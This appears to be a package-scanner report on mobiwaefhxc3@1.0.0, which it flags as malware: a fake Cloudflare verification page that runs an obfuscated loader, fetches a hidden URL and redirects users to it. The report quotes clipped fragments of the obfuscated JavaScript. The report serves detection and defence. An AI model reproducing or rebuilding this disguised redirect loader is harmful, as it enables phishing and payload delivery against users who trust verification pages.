registry / mobiwaefhxc3 / 1.0.0

mobiwaefhxc3@1.0.0

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Opening the HTML entry and completing or failing the displayed Turnstile challenge activates an obfuscated remote redirect loader. The response destination is hidden by encoding and decryption.

Static reason

One or more suspicious static signals were detected.

Trigger

User opens index.html and the Turnstile callback runs.

Impact

Can route a user through a disguised verification page to an attacker-controlled destination, preserving supplied URL parameters.

Mechanism

Obfuscated fetch, AES-decrypt, query-forwarding browser redirect.

Attack narrative

The package is a fake Cloudflare-style verification page. Its Turnstile callback executes an obfuscated loader that posts data to a concealed endpoint, decodes and decrypts the response, treats it as a URL, appends current query parameters, and replaces the browser location. This creates a concealed, remotely controlled redirect stage suitable for phishing or payload delivery.

Rationale

The package contains a concrete concealed remote redirect chain behind a security-verification facade. It is not install-time malware, but its runtime behavior is malicious.

Evidence

package.jsonindex.html

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

index.html runs an obfuscated async loader from the Turnstile callback.
The loader fetches a server response, decodes/decrypts it, and redirects the browser to the resulting URL while forwarding query parameters.
The visible Cloudflare verification page disguises the remote redirect chain.

Evidence against

package.json has no lifecycle scripts.
No local file, process, native-module, or environment harvesting behavior was found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

HighEntropyStringsMinifiedPossibleObfuscation

Manifest

NoLicense

scanned 1 file(s), 36.4 KB of source

Source & flagged code

4 flagged

index.htmlView file

Lines 206-231html

206 Performance and Security by

207 <a rel="noopener noreferrer" href="https://www.cloudflare.com/?utm_source=challenge&utm_campaign=m" target="_blank">Cloudflare</a>

208 </span>

209 <span class="footer-divider"></span>

210 <a id="privacy-link" target="_blank" rel="noopener noreferrer" href="https://www.cloudflare.com/privacypolicy/" class="footer-text">Privacy</a>

211 </div>

212 </div>

213 </div>

214</div>

215<script>

216 (function () {

217 function generateRayId() {

218 const chars = '0123456789abcdef';

219 let result = '';

220 for (let i = 0; i < 16; i++) result += chars[Math.floor(Math.random() * 16)];

221 return result;

222 }

223 document.getElementById('dynamic-ray-id').textContent = generateRayId();

224 })();

225

226 function onTurnstileComplete(token) {

High

Ai Review Evidence

index.html runs an obfuscated async loader from the Turnstile callback.

index.htmlView on unpkg · L226

227 function _0x49bb(_0x3c74be,_0x1063fe){_0x3c74be=_0x3c74be-(-0x126e*0x1+0xb35*-0x1+0x1e4c);const _0x5f0056=_0x2f0d();let _0x10a4b7=_0x5f0056[_0x3c74be];if(_0x49bb['rkNcCo']===undefined){var _0xd91034=function(_0x4a57b4){const _0x13f862='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x1aff2f='',_0x478a40='',_0x743898=_0x1aff2f+_0xd91034,_0x3526f8=(''+function(){return 0x1a84+-0x21*-0x11+-0x1cb5;})['indexOf']('\x0a')!==-(0x4ba+0xabb*0x2+-0x1a2f);for(let _0x3a367c=0x1a2+0x13d8+-0x157a,_0x7c4310,_0x228d79,_0x3f5a25=-0x107c+0x4b9+-0xbc3*-0x1;_0x228d79=_0x4a57b4['cha ...

High

Ai Review Evidence

The loader fetches a server response, decodes/decrypts it, and redirects the browser to the resulting URL while forwarding query parameters.

index.htmlView on unpkg · L227

228 }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

229</script>

230</body>

231</html>

Long lines were clipped for display.

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

Source & flagged code

4 flagged · loading source

index.htmlView file

226function onTurnstileComplete(token) { L227: function _0x49bb(_0x3c74be,_0x1063fe){_0x3c74be=_0x3c74be-(-0x126e*0x1+0xb35*-0x1+0x1e4c);const _0x5f0056=_0x2f0d();let _0x10a4b7=_0x5f0056[_0x3c74be];if(_0x49bb['rkNcCo']===undefi... L228: }

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.htmlView on unpkg · L226

•stage = html_entrypoint_analysis; reason = referenced_script_not_statically_covered; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

index.htmlView on unpkg

226function onTurnstileComplete(token) {

High

Ai Review Evidence

index.html runs an obfuscated async loader from the Turnstile callback.

index.htmlView on unpkg · L226

227const _0x45f393=await _0x587fad[_0x35e51b(-_0x39bb1c._0x111d70,-0x14,_0x39bb1c._0x401789,-_0x39bb1c._0x26b214)](fetch,_0x587fad['quIAl'],{'method':_0x587fad['YyWOU'],'headers':{'Content-Type':_0x587fad[_0x2d2292(_0x39bb1c._0x5420be,_0x39bb1c._0x24ef55,_0x39bb1c._0x445a40,_0x39bb1c._0x11dda2)]},'body':JSON[_0x2d2292(_0x39bb1c._0x59260d,_0x39bb1c._0x7445fa,_0x39bb1c._0x5dabc7,0xfa)](_0x1d34c0)})

Findings

4 High1 Medium2 Low

HighObfuscated Payload Loaderindex.html

HighSemantic Analysis Limitedindex.html

HighAi Review Evidenceindex.html

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowNo License